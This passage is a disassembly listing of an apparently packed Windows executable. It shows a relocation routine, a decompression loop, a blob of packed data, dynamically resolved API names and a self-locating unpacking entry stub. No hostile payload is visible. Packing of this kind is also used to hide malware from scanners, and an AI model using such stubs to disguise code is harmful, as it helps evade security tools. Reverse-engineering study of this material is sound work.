		movzx	eax, word ptr [esi]
		mov	ebx, eax
		shr	ebx, 0Ch
		mov	ecx, ebx
		imul	ebx, 1000h
		sub	eax, ebx
		add	eax, edx
		add	eax, [ebp+0A42h]
		cmp	ecx, 3
		jnz	short loc_4910A2
		sub	[eax], edi
		mov	ecx, [ebp+0A42h]
		add	[eax], ecx


loc_4910A2:				; CODE XREF: sub_491040+56j
		add	esi, 2


loc_4910A5:				; CODE XREF: sub_491040+37j
		cmp	esi, [ebp+0A4Ah]
		jb	short loc_491079


loc_4910AD:				; CODE XREF: sub_491040+21j
		cmp	dword ptr [esi], 0
		jnz	short loc_491063


loc_4910B2:				; CODE XREF: sub_491040+9j
					; sub_491040+1Dj
		popa
		retn
sub_491040	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 30h
		xor	eax, eax
		inc	eax
		mov	edi, [ebp+10h]
		mov	[ebp-14h], eax
		mov	[ebp-1Ch], eax
		mov	[ebp-18h], eax
		mov	[ebp-28h], eax
		mov	eax, 400h
		xor	edx, edx
		mov	ecx, 30736h
		rep stosd
		mov	eax, [ebp+0Ch]
		push	5
		mov	[ebp-8], eax
		mov	[ebp-10h], edx
		mov	[ebp-1], dl
		mov	[ebp-0Ch], edx
		mov	[ebp+0Ch], edx
		or	eax, 0FFFFFFFFh
		pop	ecx


loc_4910F2:				; CODE XREF: .nsp0:00491107j
		mov	esi, [ebp-8]
		mov	edx, [ebp+0Ch]
		movzx	esi, byte ptr [esi]
		shl	edx, 8
		or	edx, esi
		inc	dword ptr [ebp-8]
		dec	ecx
		mov	[ebp+0Ch], edx
		jnz	short loc_4910F2


loc_491109:				; CODE XREF: .nsp0:0049129Bj
					; .nsp0:004912AAj ...
		mov	esi, [ebp-10h]
		mov	ecx, [ebp-0Ch]
		mov	edx, [ebp+10h]
		and	esi, 3
		shl	ecx, 4
		add	ecx, esi
		cmp	eax, 1000000h
		lea	edi, [edx+ecx*4]
		jnb	short loc_49113B
		mov	edx, [ebp-8]
		mov	ecx, [ebp+0Ch]
		movzx	edx, byte ptr [edx]
		shl	ecx, 8
		or	ecx, edx
		shl	eax, 8
		inc	dword ptr [ebp-8]
		mov	[ebp+0Ch], ecx


loc_49113B:				; CODE XREF: .nsp0:00491122j
		mov	ecx, [edi]
		mov	ebx, eax
		shr	ebx, 0Bh
		imul	ebx, ecx
		cmp	[ebp+0Ch], ebx
		jnb	loc_4912B8
		mov	esi, 800h
		sub	esi, ecx
		shr	esi, 5
		add	esi, ecx
		movzx	ecx, byte ptr [ebp-1]
		imul	ecx, 0C00h
		xor	edx, edx
		mov	[edi], esi
		mov	esi, [ebp+10h]
		inc	edx
		cmp	dword ptr [ebp-0Ch], 7
		lea	ecx, [esi+ecx+1CD8h]
		mov	eax, ebx
		mov	[ebp-20h], ecx
		jl	loc_491221
		mov	ecx, [ebp-10h]
		sub	ecx, [ebp-14h]
		mov	esi, [ebp+8]
		movzx	ecx, byte ptr [esi+ecx]
		mov	[ebp-24h], ecx


loc_491192:				; CODE XREF: .nsp0:00491219j
		shl	dword ptr [ebp-24h], 1
		mov	esi, [ebp-24h]
		mov	edi, [ebp-20h]
		and	esi, 100h
		cmp	eax, 1000000h
		lea	ecx, [edx+esi]
		lea	ecx, [edi+ecx*4+400h]
		mov	[ebp-2Ch], ecx
		jnb	short loc_4911CC
		mov	ebx, [ebp-8]
		mov	edi, [ebp+0Ch]
		movzx	ebx, byte ptr [ebx]
		shl	edi, 8
		or	edi, ebx
		shl	eax, 8
		inc	dword ptr [ebp-8]
		mov	[ebp+0Ch], edi


loc_4911CC:				; CODE XREF: .nsp0:004911B3j
		mov	ecx, [ecx]
		mov	edi, eax
		shr	edi, 0Bh
		imul	edi, ecx
		cmp	[ebp+0Ch], edi
		jnb	short loc_4911FA
		mov	eax, edi
		mov	edi, 800h
		sub	edi, ecx
		shr	edi, 5
		add	edi, ecx
		mov	ecx, [ebp-2Ch]
		add	edx, edx
		test	esi, esi
		mov	[ecx], edi
		jnz	loc_49127A
		jmp	short loc_491213
; ---------------------------------------------------------------------------


loc_4911FA:				; CODE XREF: .nsp0:004911D9j
		sub	[ebp+0Ch], edi
		sub	eax, edi
		mov	edi, ecx
		shr	edi, 5
		sub	ecx, edi
		test	esi, esi
		mov	edi, [ebp-2Ch]
		mov	[edi], ecx
		lea	edx, [edx+edx+1]
		jz	short loc_49127A


loc_491213:				; CODE XREF: .nsp0:004911F8j
		cmp	edx, 100h
		jl	loc_491192
		jmp	short loc_491282
; ---------------------------------------------------------------------------


loc_491221:				; CODE XREF: .nsp0:0049117Cj
					; .nsp0:00491280j
		cmp	eax, 1000000h
		mov	ecx, [ebp-20h]
		lea	edi, [ecx+edx*4]
		jnb	short loc_491245
		mov	esi, [ebp-8]
		mov	ecx, [ebp+0Ch]
		movzx	esi, byte ptr [esi]
		shl	ecx, 8
		or	ecx, esi
		shl	eax, 8
		inc	dword ptr [ebp-8]
		mov	[ebp+0Ch], ecx


loc_491245:				; CODE XREF: .nsp0:0049122Cj
		mov	ecx, [edi]
		mov	esi, eax
		shr	esi, 0Bh
		imul	esi, ecx
		cmp	[ebp+0Ch], esi
		jnb	short loc_491268
		mov	eax, esi
		mov	esi, 800h
		sub	esi, ecx
		shr	esi, 5
		add	esi, ecx
		mov	[edi], esi
		add	edx, edx
		jmp	short loc_49127A
; ---------------------------------------------------------------------------


loc_491268:				; CODE XREF: .nsp0:00491252j
		sub	[ebp+0Ch], esi
		sub	eax, esi
		mov	esi, ecx
		shr	esi, 5
		sub	ecx, esi
		mov	[edi], ecx
		lea	edx, [edx+edx+1]


loc_49127A:				; CODE XREF: .nsp0:004911F2j
					; .nsp0:00491211j ...
		cmp	edx, 100h
		jl	short loc_491221


loc_491282:				; CODE XREF: .nsp0:0049121Fj
		mov	esi, [ebp-10h]
		mov	ecx, [ebp+8]
		inc	dword ptr [ebp-10h]
		cmp	dword ptr [ebp-0Ch], 4
		mov	[ebp-1], dl
		mov	[ecx+esi], dl
		jge	short loc_4912A0
		and	dword ptr [ebp-0Ch], 0
		jmp	loc_491109
; ---------------------------------------------------------------------------


loc_4912A0:				; CODE XREF: .nsp0:00491295j
		cmp	dword ptr [ebp-0Ch], 0Ah
		jge	short loc_4912AF
		sub	dword ptr [ebp-0Ch], 3
		jmp	loc_491109
; ---------------------------------------------------------------------------


loc_4912AF:				; CODE XREF: .nsp0:004912A4j
		sub	dword ptr [ebp-0Ch], 6
		jmp	loc_491109
; ---------------------------------------------------------------------------


loc_4912B8:				; CODE XREF: .nsp0:00491148j
		sub	[ebp+0Ch], ebx
		mov	edx, ecx
		shr	edx, 5
		sub	ecx, edx
		mov	edx, [ebp-0Ch]
		sub	eax, ebx
		cmp	eax, 1000000h
		mov	[edi], ecx
		mov	ecx, [ebp+10h]
		lea	edx, [ecx+edx*4+300h]
		jnb	short loc_4912F1
		mov	edi, [ebp-8]
		mov	ecx, [ebp+0Ch]
		movzx	edi, byte ptr [edi]
		shl	ecx, 8
		or	ecx, edi
		shl	eax, 8
		inc	dword ptr [ebp-8]
		mov	[ebp+0Ch], ecx


loc_4912F1:				; CODE XREF: .nsp0:004912D8j
		mov	ecx, [edx]
		mov	edi, eax
		shr	edi, 0Bh
		imul	edi, ecx
		cmp	[ebp+0Ch], edi
		jnb	short loc_491343
		mov	eax, edi
		mov	edi, 800h
		sub	edi, ecx
		shr	edi, 5
		add	edi, ecx
		cmp	dword ptr [ebp-0Ch], 7
		mov	ecx, [ebp-18h]
		mov	[ebp-28h], ecx
		mov	ecx, [ebp-1Ch]
		mov	[ebp-18h], ecx
		mov	ecx, [ebp-14h]
		mov	[edx], edi
		mov	[ebp-1Ch], ecx
		jge	short loc_49132E
		and	dword ptr [ebp-0Ch], 0
		jmp	short loc_491335
; ---------------------------------------------------------------------------


loc_49132E:				; CODE XREF: .nsp0:00491326j
		mov	dword ptr [ebp-0Ch], 3


loc_491335:				; CODE XREF: .nsp0:0049132Cj
		mov	ecx, [ebp+10h]
		add	ecx, 0CC8h
		jmp	loc_49152C
; ---------------------------------------------------------------------------


loc_491343:				; CODE XREF: .nsp0:004912FEj
		sub	[ebp+0Ch], edi
		sub	eax, edi
		mov	edi, ecx
		shr	edi, 5
		sub	ecx, edi
		cmp	eax, 1000000h
		mov	[edx], ecx
		mov	ecx, [ebp-0Ch]
		mov	edx, [ebp+10h]
		lea	edi, [edx+ecx*4+330h]
		jnb	short loc_49137C
		mov	edx, [ebp-8]
		mov	ecx, [ebp+0Ch]
		movzx	edx, byte ptr [edx]
		shl	ecx, 8
		or	ecx, edx
		shl	eax, 8
		inc	dword ptr [ebp-8]
		mov	[ebp+0Ch], ecx


loc_49137C:				; CODE XREF: .nsp0:00491363j
		mov	ecx, [edi]
		mov	edx, eax
		shr	edx, 0Bh
		imul	edx, ecx
		cmp	[ebp+0Ch], edx
		jnb	loc_491430
		mov	ebx, 800h
		sub	ebx, ecx
		shr	ebx, 5
		add	ebx, ecx
		mov	ecx, [ebp-0Ch]
		add	ecx, 0Fh
		shl	ecx, 4
		mov	[edi], ebx
		mov	edi, [ebp+10h]
		add	ecx, esi
		cmp	edx, 1000000h
		mov	eax, edx
		lea	edi, [edi+ecx*4]
		jnb	short loc_4913D1
		mov	ecx, [ebp+0Ch]
		shl	edx, 8
		mov	eax, edx
		mov	edx, [ebp-8]
		movzx	edx, byte ptr [edx]
		shl	ecx, 8
		or	ecx, edx
		inc	dword ptr [ebp-8]
		mov	[ebp+0Ch], ecx


loc_4913D1:				; CODE XREF: .nsp0:004913B6j
		mov	ecx, [edi]
		mov	edx, eax
		shr	edx, 0Bh
		imul	edx, ecx
		cmp	[ebp+0Ch], edx
		jnb	short loc_49141D
		mov	esi, [ebp-10h]
		mov	eax, edx
		mov	edx, 800h
		sub	edx, ecx
		shr	edx, 5
		add	edx, ecx
		xor	ecx, ecx
		cmp	dword ptr [ebp-0Ch], 7
		mov	[edi], edx
		mov	edx, [ebp+8]
		setnl	cl
		lea	ecx, [ecx+ecx+9]
		mov	[ebp-0Ch], ecx
		mov	ecx, [ebp-10h]
		sub	ecx, [ebp-14h]
		inc	dword ptr [ebp-10h]
		mov	cl, [edx+ecx]
		mov	[ebp-1], cl
		mov	[edx+esi], cl
		jmp	loc_491109
; ---------------------------------------------------------------------------


loc_49141D:				; CODE XREF: .nsp0:004913DEj
		sub	[ebp+0Ch], edx
		sub	eax, edx
		mov	edx, ecx
		shr	edx, 5
		sub	ecx, edx
		mov	[edi], ecx
		jmp	loc_491510
; ---------------------------------------------------------------------------


loc_491430:				; CODE XREF: .nsp0:00491389j
		sub	[ebp+0Ch], edx
		sub	eax, edx
		mov	edx, ecx
		shr	edx, 5
		sub	ecx, edx
		cmp	eax, 1000000h
		mov	edx, [ebp+10h]
		mov	[edi], ecx
		mov	ecx, [ebp-0Ch]
		lea	edx, [edx+ecx*4+360h]
		jnb	short loc_491469
		mov	edi, [ebp-8]
		mov	ecx, [ebp+0Ch]
		movzx	edi, byte ptr [edi]
		shl	ecx, 8
		or	ecx, edi
		shl	eax, 8
		inc	dword ptr [ebp-8]
		mov	[ebp+0Ch], ecx


loc_491469:				; CODE XREF: .nsp0:00491450j
		mov	ecx, [edx]
		mov	edi, eax
		shr	edi, 0Bh
		imul	edi, ecx
		cmp	[ebp+0Ch], edi
		jnb	short loc_49148D
		mov	eax, edi
		mov	edi, 800h
		sub	edi, ecx
		shr	edi, 5
		add	edi, ecx
		mov	ecx, [ebp-1Ch]
		mov	[edx], edi
		jmp	short loc_491507
; ---------------------------------------------------------------------------


loc_49148D:				; CODE XREF: .nsp0:00491476j
		sub	[ebp+0Ch], edi
		sub	eax, edi
		mov	edi, ecx
		shr	edi, 5
		sub	ecx, edi
		cmp	eax, 1000000h
		mov	[edx], ecx
		mov	ecx, [ebp-0Ch]
		mov	edx, [ebp+10h]
		lea	edx, [edx+ecx*4+390h]
		jnb	short loc_4914C6
		mov	edi, [ebp-8]
		mov	ecx, [ebp+0Ch]
		movzx	edi, byte ptr [edi]
		shl	ecx, 8
		or	ecx, edi
		shl	eax, 8
		inc	dword ptr [ebp-8]
		mov	[ebp+0Ch], ecx


loc_4914C6:				; CODE XREF: .nsp0:004914ADj
		mov	ecx, [edx]
		mov	edi, eax
		shr	edi, 0Bh
		imul	edi, ecx
		cmp	[ebp+0Ch], edi
		jnb	short loc_4914EA
		mov	eax, edi
		mov	edi, 800h
		sub	edi, ecx
		shr	edi, 5
		add	edi, ecx
		mov	ecx, [ebp-18h]
		mov	[edx], edi
		jmp	short loc_491501
; ---------------------------------------------------------------------------


loc_4914EA:				; CODE XREF: .nsp0:004914D3j
		sub	[ebp+0Ch], edi
		sub	eax, edi
		mov	edi, ecx
		shr	edi, 5
		sub	ecx, edi
		mov	[edx], ecx
		mov	edx, [ebp-18h]
		mov	ecx, [ebp-28h]
		mov	[ebp-28h], edx


loc_491501:				; CODE XREF: .nsp0:004914E8j
		mov	edx, [ebp-1Ch]
		mov	[ebp-18h], edx


loc_491507:				; CODE XREF: .nsp0:0049148Bj
		mov	edx, [ebp-14h]
		mov	[ebp-1Ch], edx
		mov	[ebp-14h], ecx


loc_491510:				; CODE XREF: .nsp0:0049142Bj
		xor	ecx, ecx
		cmp	dword ptr [ebp-0Ch], 7
		setnl	cl
		dec	ecx
		and	ecx, 0FFFFFFFDh
		add	ecx, 0Bh
		mov	[ebp-0Ch], ecx
		mov	ecx, [ebp+10h]
		add	ecx, 14D0h


loc_49152C:				; CODE XREF: .nsp0:0049133Ej
		cmp	eax, 1000000h
		jnb	short loc_49154A
		mov	edi, [ebp-8]
		mov	edx, [ebp+0Ch]
		movzx	edi, byte ptr [edi]
		shl	edx, 8
		or	edx, edi
		shl	eax, 8
		inc	dword ptr [ebp-8]
		mov	[ebp+0Ch], edx


loc_49154A:				; CODE XREF: .nsp0:00491531j
		mov	edx, [ecx]
		mov	edi, eax
		shr	edi, 0Bh
		imul	edi, edx
		cmp	[ebp+0Ch], edi
		jnb	short loc_491576
		mov	eax, edi
		mov	edi, 800h
		sub	edi, edx
		shr	edi, 5
		add	edi, edx
		shl	esi, 5
		and	dword ptr [ebp-24h], 0
		mov	[ecx], edi
		lea	ecx, [ecx+esi+8]
		jmp	short loc_4915D4
; ---------------------------------------------------------------------------


loc_491576:				; CODE XREF: .nsp0:00491557j
		sub	[ebp+0Ch], edi
		sub	eax, edi
		mov	edi, edx
		shr	edi, 5
		sub	edx, edi
		cmp	eax, 1000000h
		mov	[ecx], edx
		jnb	short loc_4915A2
		mov	edi, [ebp-8]
		mov	edx, [ebp+0Ch]
		movzx	edi, byte ptr [edi]
		shl	edx, 8
		or	edx, edi
		shl	eax, 8
		inc	dword ptr [ebp-8]
		mov	[ebp+0Ch], edx


loc_4915A2:				; CODE XREF: .nsp0:00491589j
		mov	edx, [ecx+4]
		mov	edi, eax
		shr	edi, 0Bh
		imul	edi, edx
		cmp	[ebp+0Ch], edi
		jnb	short loc_4915DD
		mov	eax, edi
		mov	edi, 800h
		sub	edi, edx
		shr	edi, 5
		add	edi, edx
		shl	esi, 5
		mov	[ecx+4], edi
		lea	ecx, [ecx+esi+208h]
		mov	dword ptr [ebp-24h], 8


loc_4915D4:				; CODE XREF: .nsp0:00491574j
		mov	dword ptr [ebp-20h], 3
		jmp	short loc_491600
; ---------------------------------------------------------------------------


loc_4915DD:				; CODE XREF: .nsp0:004915B0j
		sub	[ebp+0Ch], edi
		mov	esi, edx
		shr	esi, 5
		sub	edx, esi
		sub	eax, edi
		mov	[ecx+4], edx
		add	ecx, 408h
		mov	dword ptr [ebp-24h], 10h
		mov	dword ptr [ebp-20h], 8


loc_491600:				; CODE XREF: .nsp0:004915DBj
		mov	edx, [ebp-20h]
		xor	ebx, ebx
		mov	[ebp-2Ch], edx
		inc	ebx


loc_491609:				; CODE XREF: .nsp0:00491662j
		cmp	eax, 1000000h
		jnb	short loc_491627
		mov	esi, [ebp-8]
		mov	edx, [ebp+0Ch]
		movzx	esi, byte ptr [esi]
		shl	edx, 8
		or	edx, esi
		shl	eax, 8
		inc	dword ptr [ebp-8]
		mov	[ebp+0Ch], edx


loc_491627:				; CODE XREF: .nsp0:0049160Ej
		mov	edx, [ecx+ebx*4]
		mov	esi, eax
		shr	esi, 0Bh
		imul	esi, edx
		cmp	[ebp+0Ch], esi
		jnb	short loc_49164C
		mov	eax, esi
		mov	esi, 800h
		sub	esi, edx
		shr	esi, 5
		add	esi, edx
		mov	[ecx+ebx*4], esi
		add	ebx, ebx
		jmp	short loc_49165F
; ---------------------------------------------------------------------------


loc_49164C:				; CODE XREF: .nsp0:00491635j
		sub	[ebp+0Ch], esi
		sub	eax, esi
		mov	esi, edx
		shr	esi, 5
		sub	edx, esi
		mov	[ecx+ebx*4], edx
		lea	ebx, [ebx+ebx+1]


loc_49165F:				; CODE XREF: .nsp0:0049164Aj
		dec	dword ptr [ebp-2Ch]
		jnz	short loc_491609
		mov	ecx, [ebp-20h]
		xor	edx, edx
		inc	edx
		mov	esi, edx
		shl	esi, cl
		mov	ecx, [ebp-24h]
		sub	ecx, esi
		add	ebx, ecx
		cmp	dword ptr [ebp-0Ch], 4
		mov	[ebp-30h], ebx
		jge	loc_491816
		add	dword ptr [ebp-0Ch], 7
		cmp	ebx, 4
		jge	short loc_49168F
		mov	ecx, ebx
		jmp	short loc_491692
; ---------------------------------------------------------------------------


loc_49168F:				; CODE XREF: .nsp0:00491689j
		push	3
		pop	ecx


loc_491692:				; CODE XREF: .nsp0:0049168Dj
		mov	esi, [ebp+10h]
		shl	ecx, 8
		lea	edi, [esi+ecx+6C0h]
		mov	dword ptr [ebp-2Ch], 6


loc_4916A6:				; CODE XREF: .nsp0:004916FFj
		cmp	eax, 1000000h
		jnb	short loc_4916C4
		mov	esi, [ebp-8]
		mov	ecx, [ebp+0Ch]
		movzx	esi, byte ptr [esi]
		shl	ecx, 8
		or	ecx, esi
		shl	eax, 8
		inc	dword ptr [ebp-8]
		mov	[ebp+0Ch], ecx


loc_4916C4:				; CODE XREF: .nsp0:004916ABj
		mov	ecx, [edi+edx*4]
		mov	esi, eax
		shr	esi, 0Bh
		imul	esi, ecx
		cmp	[ebp+0Ch], esi
		jnb	short loc_4916E9
		mov	eax, esi
		mov	esi, 800h
		sub	esi, ecx
		shr	esi, 5
		add	esi, ecx
		mov	[edi+edx*4], esi
		add	edx, edx
		jmp	short loc_4916FC
; ---------------------------------------------------------------------------


loc_4916E9:				; CODE XREF: .nsp0:004916D2j
		sub	[ebp+0Ch], esi
		sub	eax, esi
		mov	esi, ecx
		shr	esi, 5
		sub	ecx, esi
		mov	[edi+edx*4], ecx
		lea	edx, [edx+edx+1]


loc_4916FC:				; CODE XREF: .nsp0:004916E7j
		dec	dword ptr [ebp-2Ch]
		jnz	short loc_4916A6
		sub	edx, 40h
		cmp	edx, 4
		mov	edi, edx
		jl	loc_4917E7
		mov	ecx, edx
		sar	ecx, 1
		and	edi, 1
		dec	ecx
		or	edi, 2
		cmp	edx, 0Eh
		mov	[ebp-14h], ecx
		jge	short loc_491734
		shl	edi, cl
		mov	ecx, edi
		sub	ecx, edx
		mov	edx, [ebp+10h]
		lea	ebx, [edx+ecx*4+0ABCh]
		jmp	short loc_49177A
; ---------------------------------------------------------------------------


loc_491734:				; CODE XREF: .nsp0:00491720j
		sub	ecx, 4


loc_491737:				; CODE XREF: .nsp0:00491765j
		cmp	eax, 1000000h
		jnb	short loc_491755
		mov	esi, [ebp-8]
		mov	edx, [ebp+0Ch]
		movzx	esi, byte ptr [esi]
		shl	edx, 8
		or	edx, esi
		shl	eax, 8
		inc	dword ptr [ebp-8]
		mov	[ebp+0Ch], edx


loc_491755:				; CODE XREF: .nsp0:0049173Cj
		shr	eax, 1
		add	edi, edi
		cmp	[ebp+0Ch], eax
		jb	short loc_491764
		sub	[ebp+0Ch], eax
		or	edi, 1


loc_491764:				; CODE XREF: .nsp0:0049175Cj
		dec	ecx
		jnz	short loc_491737
		mov	ebx, [ebp+10h]
		add	ebx, 0C88h
		shl	edi, 4
		mov	dword ptr [ebp-14h], 4


loc_49177A:				; CODE XREF: .nsp0:00491732j
		xor	ecx, ecx
		inc	ecx
		mov	[ebp-20h], ebx
		mov	[ebp-24h], ecx


loc_491783:				; CODE XREF: .nsp0:004917E5j
		cmp	eax, 1000000h
		jnb	short loc_4917A1
		mov	esi, [ebp-8]
		mov	edx, [ebp+0Ch]
		movzx	esi, byte ptr [esi]
		shl	edx, 8
		or	edx, esi
		shl	eax, 8
		inc	dword ptr [ebp-8]
		mov	[ebp+0Ch], edx


loc_4917A1:				; CODE XREF: .nsp0:00491788j
		mov	edx, [ebx+ecx*4]
		mov	esi, eax
		shr	esi, 0Bh
		imul	esi, edx
		cmp	[ebp+0Ch], esi
		jnb	short loc_4917C6
		mov	eax, esi
		mov	esi, 800h
		sub	esi, edx
		shr	esi, 5
		add	esi, edx
		mov	[ebx+ecx*4], esi
		add	ecx, ecx
		jmp	short loc_4917DF
; ---------------------------------------------------------------------------


loc_4917C6:				; CODE XREF: .nsp0:004917AFj
		sub	[ebp+0Ch], esi
		mov	ebx, [ebp-20h]
		sub	eax, esi
		mov	esi, edx
		shr	esi, 5
		sub	edx, esi
		or	edi, [ebp-24h]
		mov	[ebx+ecx*4], edx
		lea	ecx, [ecx+ecx+1]


loc_4917DF:				; CODE XREF: .nsp0:004917C4j
		shl	dword ptr [ebp-24h], 1
		dec	dword ptr [ebp-14h]
		jnz	short loc_491783


loc_4917E7:				; CODE XREF: .nsp0:00491709j
		inc	edi
		mov	[ebp-14h], edi
		jz	short loc_49181B
		mov	ebx, [ebp-30h]


loc_4917F0:				; CODE XREF: .nsp0:00491819j
		mov	ecx, [ebp-10h]
		inc	ebx
		sub	ecx, edi
		inc	ebx
		add	ecx, [ebp+8]


loc_4917FA:				; CODE XREF: .nsp0:0049180Fj
		mov	dl, [ecx]
		mov	esi, [ebp-10h]
		mov	edi, [ebp+8]
		dec	ebx
		inc	dword ptr [ebp-10h]
		inc	ecx
		test	ebx, ebx
		mov	[ebp-1], dl
		mov	[edi+esi], dl
		jnz	short loc_4917FA
		jmp	loc_491109
; ---------------------------------------------------------------------------


loc_491816:				; CODE XREF: .nsp0:0049167Cj
		mov	edi, [ebp-14h]
		jmp	short loc_4917F0
; ---------------------------------------------------------------------------


loc_49181B:				; CODE XREF: .nsp0:004917EBj
		mov	eax, [ebp-10h]
		leave
		retn	0Ch
; ---------------------------------------------------------------------------
		align 4
		dd 2 dup(0)
		dd 184A0000h, 18570009h, 9, 4 dup(0)
		dd 656B0000h, 6C656E72h, 642E3233h, 0D8006C6Ch,	0FD77E805h
		dd 0A77E7A5h, 3477E798h, 77E79Eh, 0
		dd 616F4C00h, 62694C64h, 79726172h, 47000041h, 72507465h
		dd 6441636Fh, 73657264h, 56000073h, 75747269h, 6C416C61h
		dd 636F6Ch, 72695600h, 6C617574h, 65657246h, 10000000h
		dd 80000h, 0
		dd 32h,	40h, 3 dup(0)
		dd 60177E6h, 3Fh, 2000003Fh, 10000048h,	0DCC70040h, 70000048h
		dd 0E7090041h, 90000048h, 41h, 2B000000h, 0F145C294h, 3A1795A5h
		dd 0FF55F6E7h, 5CB48203h, 0A851FE60h, 1109D910h, 0E8282274h
		dd 62AD98BBh, 776FC259h, 78D8556Dh, 81B45069h, 0A637E719h
		dd 4E133A8Bh, 0AB0E4871h, 0C916483Fh, 0EAD05BD5h, 970F1547h
		dd 7564A7E8h, 9D710879h, 0BB16EEA4h, 207E5DAEh,	6C4C658Fh
		dd 1D6C0432h, 0F809450Dh, 0C252D963h, 8D271D50h, 8FC839DBh
		dd 6F14A9B0h, 0BF61887Dh, 0BC7A7223h, 0EE6417Ch, 8B7BD421h
		dd 0E050A8B8h, 89AB1FECh, 3D8876E9h, 508AA5D9h,	52AAD6C2h
		dd 0D98C608Ch, 0A55BAD89h, 6C0E2001h, 2EBD9F8Ah, 0E97F0630h
		dd 0A6711F62h, 42029695h, 0EE65CB76h, 553F3A95h, 4AAD7752h
		dd 0D534D108h, 0A56537F5h, 499A3865h, 0B5F40E33h, 976706C8h
		dd 879D936h, 0CDB9D511h, 456D7340h, 2C68DAF8h, 0E1339C45h
		dd 0DFAD56A1h, 0D86ACF03h, 0F33C0025h, 0D6ED4042h, 4E159B93h
		dd 4505C427h, 29644C91h, 804FDA15h, 1D242F72h, 22709904h
		dd 13975A93h, 0B556E403h, 7D4F1A26h, 9366AB61h,	8A056702h
		dd 94442D13h, 0E71191A1h, 320DC375h, 2CF0AFBEh,	2A873969h
		dd 0DB1BF251h, 0E697325h, 764091CDh, 9E1FA910h,	1AD159A5h
		dd 4E66D061h, 2DAF7793h, 4493B4FFh, 84A0496Ah, 0F2BA0D2h
		dd 218DC503h, 13324597h, 1DB84DB5h, 0C5143AD3h,	2723F823h
		dd 0BD231F30h, 3ED104A0h, 0F9FD95F3h, 2C1DC283h, 56B91197h
		dd 7DC3572Ch, 9D56D64Bh, 25EBF7B7h, 6983A6D1h, 7D7242DAh
		dd 2D500920h, 75A72F54h, 6407B4E5h, 61EC5D07h, 766E1D05h
		dd 7CEC0A93h, 780F2EF6h, 0EBF667A9h, 2BD6A4EEh,	81CAB52Ch
		dd 5461B9D9h, 8DC95370h, 9EF020E3h, 5282C054h, 0DC423CB9h
		dd 9A5CB059h, 0A41EC9EAh, 0DDC9EA63h, 0F10ED594h, 4AF4C50Fh
		dd 0C6334204h, 2FFEB8D0h, 0BBB91167h, 597F024Fh, 4A315926h
		dd 0E81E35E9h, 0E25B2C24h, 0E532D0A7h, 0F0617EC5h, 6981F5E4h
		dd 106E377Dh, 0D80829A0h, 719601BFh, 0D70E9BD7h, 42C81463h
		dd 53D03104h, 0EF381275h, 9CDD3683h, 2AE14FC9h,	0F99306A5h
		dd 3C0E5BADh, 0D7F18939h, 0A14DBF9Ch, 47AF7F0Eh, 0EC07F91Dh
		dd 0DEF491FDh, 0A0986832h, 2433D2F2h, 8F01D9C2h, 5A32E36Ah
		dd 0A1D48887h, 0B8C93353h, 0BF972487h, 2D4FCA65h, 0F2801940h
		dd 0EE9A65F8h, 0C7196B8Ah, 4AAC2884h, 91F26C5h,	44E3BFBAh
		dd 62C0D1B9h, 8DC6BA3Ch, 0B8C95A85h, 8AA4F29h, 0CD22ACB3h
		dd 0DD927A3Dh, 0B9BC505Dh, 5366FB51h, 94790A49h, 0BE201668h
		dd 0CBE86A56h, 0E4DD37EDh, 0E0940D2Ch, 0A1917164h, 9E4B5433h
		dd 0AB1126FAh, 39D76B1Eh, 30424E3Fh, 0CF925A9Ch, 40134Eh
		dd 751BD17Ch, 0E425CD76h, 0F0FA14D2h, 16C56A51h, 94D4EF5h
		dd 0B7791EB1h, 0D588924Ch, 0BBE3EAD1h, 0C26E5AF0h, 0A11C42A2h
		dd 0AC7BEDBAh, 5E73FE2Ch, 7DFB6789h, 14E680A4h,	5CB9891Ah
		dd 92D01B89h, 0C8FEFF6Ah, 1E42h, 0FDh dup(0)
		dd 15h,	0
		dd 91857h, 340AFDD8h, 0B77E79Eh, 4 dup(0)
		db    0
aLoadlibraryage	db 'LoadLibraryAGetProcAddressVirtualAllocVirtualFree',0
		align 1000h
_nsp0		ends

; Section 2. (virtual address 00093000)
; Virtual size			: 00011000 (  69632.)
; Section size in file		: 00011000 (  69632.)
; Offset to raw	data for section: 00093000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_nsp1		segment	para public 'CODE' use32
		assume cs:_nsp1
		;org 493000h
		assume es:nothing, ss:nothing, ds:_nsp0, fs:nothing, gs:nothing
		dd 906h, 0
		dd 92000h, 0
		dd 400000h, 0
		dd 77E60000h, 7	dup(0)
		dd 320000h, 0
		dd 400000h, 0Ah	dup(0)
		dd 2, 138h, 2 dup(0)
		dd 1, 0
		dd offset sub_401000
		dd 0
		dd 0FC01h, 3 dup(0)
		dd 77E805D8h, 77E7A5FDh, 77E6169Ah, 77E7980Ah, 77E79E34h
		dd 77E75CB5h, 4	dup(0)
		dd 930E0h, 9309Ch, 5 dup(0)
		dd 4E52454Bh, 32334C45h, 4C4C442Eh, 4C000000h, 4C64616Fh
		dd 61726269h, 417972h, 65470000h, 6F725074h, 64644163h
		dd 73736572h, 56000000h, 75747269h, 72506C61h, 6365746Fh
		dd 74h,	74726956h, 416C6175h, 636F6C6Ch, 56000000h, 75747269h
		dd 72466C61h, 6565h, 69784500h,	6F725074h, 73736563h, 3000000h
		dd 6383047Eh
		db 0E3h, 7Dh, 37h

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near

var_24		= dword	ptr -24h

; FUNCTION CHUNK AT 00490E6E SIZE 00000185 BYTES
; FUNCTION CHUNK AT 00493513 SIZE 00000009 BYTES

		pushf
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 7
		lea	ecx, [ebp-0D7h]
		cmp	byte ptr [ecx],	1
		jz	loc_4933AF
		mov	byte ptr [ecx],	1
		mov	eax, ebp
		sub	eax, [ebp-143h]
		mov	[ebp-143h], eax
		add	[ebp-113h], eax
		lea	esi, [ebp-0CFh]
		add	[esi], eax
		push	ebp
		push	esi
		push	40h
		push	1000h
		push	1000h
		push	0
		call	dword ptr [ebp-0ABh]
		test	eax, eax
		jz	loc_493513
		mov	[ebp-11Bh], eax
		call	$+5
		pop	ebx
		mov	ecx, 367h
		add	ebx, ecx
		push	eax
		push	ebx
		call	sub_493474
		pop	esi
		pop	ebp
		mov	esi, [esi]
		mov	edi, ebp
		add	edi, [ebp-153h]
		mov	ebx, edi
		cmp	dword ptr [edi], 0
		jnz	short loc_4931E1
		add	edi, 4
		mov	ecx, 0
